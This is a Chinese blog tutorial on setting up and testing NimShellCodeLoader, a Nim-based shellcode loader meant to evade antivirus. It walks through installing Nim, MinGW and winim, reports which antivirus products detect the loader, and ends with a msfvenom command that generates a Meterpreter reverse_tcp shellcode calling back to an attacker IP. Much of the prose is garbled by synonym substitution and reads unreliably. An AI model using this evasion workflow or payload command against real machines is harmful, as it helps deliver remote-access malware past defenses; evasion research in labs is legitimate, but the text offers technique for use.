Nim之NimShellCodeLoader免杀学习

1. 前言

原本看着dayu师傅在freebuf上更新了NimShellCodeLoader免杀的文章,所以想着复现下,但是在复现中发现了很多的坑,原本想着都完成一波的,但是事实上由于种种缘由,生成的木马执行报错、执行不上线、时间问题等问题有很多。我只对其能否可以过Windows Defender上停止了测试。
项目地址:
https://github.com/aeverj/NimShellCodeLoader
这里也看出了aeverj真的好凶猛,人家的很多免杀思想能够让我好好学习良久。

这篇文章出不了啥免杀,但是绝对帮你把坑踩平了。
本文一切办法都过不了最新版Windows Defender,但是大局部办法过火绒,小一半的办法过360,或者叫过国内主流杀软应该是没问题的。
本文仅仅是简单的免杀堆叠,没有啥剖析,后续会更新更多的免杀办法。

1.1 工具运用的坑

  • 环境装置上有坑
  • 编译出来的exe报错
  • 编译出来的exe无法上线(少许加载方式)

相关的issue在作者的github上也曾经有了:
https://github.com/aeverj/NimShellCodeLoader/issues/6

https://github.com/aeverj/NimShellCodeLoader/issues/4

1.2 自行编译的坑

我依照作者的源代码停止编译的时分发现,除了Nim的模块编译,还需求C#的编译才行,这一点我没认真看,所以大家假如运用的话,能够直接下载作者的最新版直接运用即可。

1. nim引见

Nim 是一种静态类型的、编译型、系统编程言语。它分离了其他成熟言语的胜利概念(如 PythonAdaModula)。(参考:https://nim-lang-cn.org/)

2. 环境准备

测试机1:Windows 10 Windows Defender最新版
测试机2:Windows Server2019Windows Defender最新版火绒联网最新版
攻击机:Macmsfcs4.3

在以下测试中,均关闭Windows Defender最新版的自动上传样本功用。

ps:由于环境问题,这里的免杀根本上没有停止太多的测试,只是提供了一些踩坑日记。

2.1 Nim装置

https://nim-lang.org/install.html上选择下载Windows

然后选择x64位的下载:
图片[1]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
Chrome阅读器下载的时分,会报毒:

在这里直接疏忽就行了:

将得到的文件解压,然后再挪动到C盘目录下(这个无所谓):

复制bin目录下的途径:
C:\nim-1.6.4_x64\nim-1.6.4\bin
图片[2]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
将该途径添加到环境变量中去:
图片[3]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
依照这个步骤,选择系统变量之后,找到Path,编辑,再新建:
图片[4]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
将信息填入之后,保管,翻开cmd命令窗口,输入nim

图片[5]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
此时期表Nim装置胜利;

2.2 装置MinGW

MinGW是为Nim编译所必需的,MinGW主要是编译CC++代码用的,在这里一共有两种方式:

  • 直接下载MinGW装置
  • 应用Nim自带的程序finish.exe装置

2.2.1 直接装置MinGW

首先依照教程,装置MinGW
在这里有下载链接地址:
https://sourceforge.net/projects/mingw-w64/files/
下载最新版x64位版本:

64位系统倡议选择x86_64-posix-sjlj
32位系统倡议选择i686-posix-sjlj

MingGW64 版本区别于各版本阐明
https://www.pcyo.cn/linux/20181212/216.html

将解压之后的文件放入到C盘根目录下:
图片[6]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
然后来到bin目录下,运用命令行检查当前的gcc版本:
gcc.exe --version
图片[7]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
然后就是和上面一样,设置系统环境变量:
控制面板\系统和平安\系统中,选择高级系统设置\高级\环境变量,设置环境变量:

图片[8]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
MinGW添加到系统环境变量中去:
图片[9]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
完成之后,确认退出:
在新的命令行中尝试输入gcc.exe --version

此时证明MinGW装置胜利。

2.2.2 应用Nim自带的程序finish.exe装置

Nim的环境中,有一个程序是finish.exe,能够应用该程序下载MinGW的装置包:

在命令行里面启动这个文件,一路Y下去之后,下载完成,应用自带的7z紧缩工具停止解压,解压之后就是手动配置环境变量。

图片[10]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
下载完成之后,来到下载文件的目录:
C:\nim-1.6.4_x64\nim-1.6.4\dist\mingw64\bin
复制该途径,添加到系统变量中去,确认之后,翻开一个新的cmd窗口,检测环境能否正常:

2.2.3 留意事项

上述的两种办法中只能运用一种,而且前提是先不运用Nim停止编译工作,否则会由于缓存问题招致第二种线上装置的方式编译出错。

2.3 装置winim库

下载地址:https://github.com/khchen/winim
在当前途径下,运用nimble install 装置即可。

3. NimShellCodeLoader原版

NimShellCodeLoader是由Nim编写Windows平台shellcode免杀加载器,目前最新的版本为2022年2月3日更新的;
版本号为0.3
https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3
图片[11]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
下载下来,解压:
图片[12]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
当前作者曾经对该文件直接停止了编译,无须再次编译,下面开端测试:

3.1 Windows Defender静态杀毒

当前有Windows Defender最新版:
图片[13]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
此时的Windows Defender显现平安无毒;

3.2 火绒静态杀毒

4. NimShellCodeLoader源代码编译

留意:当前编译需求c#编译,在这里我是失败的!!!
从以下链接下载源代码版本:
https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3
图片[14]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
下载之后解压之后放到win10上,进入encryption目录下停止编译:

nim c -d:release --opt:size Tdea.nim
图片[15]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
nim c -d:release --opt:size Caesar.nim
图片[16]-Nim之NimShellCodeLoader免杀学习-孤勇者社区
然后对项目停止C#编译,我本地没环境。

4. NimShellCodeLoader免杀测试

在下载NimShellCodeLoader之后,由于没有被杀毒软件查杀,所以在这里我们直接对其停止免杀测试:
首先要做好准备工作:
在攻击机启动msf,并且生成一个。

4.1 生成shellcode

首先用Msfvenom生成raw格式的shellcode,当前运用了shikata_ga_na编码模块:
生成的监听机器为mac,ip为10.211.55.2,端口:1234

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=1234 -f raw -o payload.bin
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像宇的0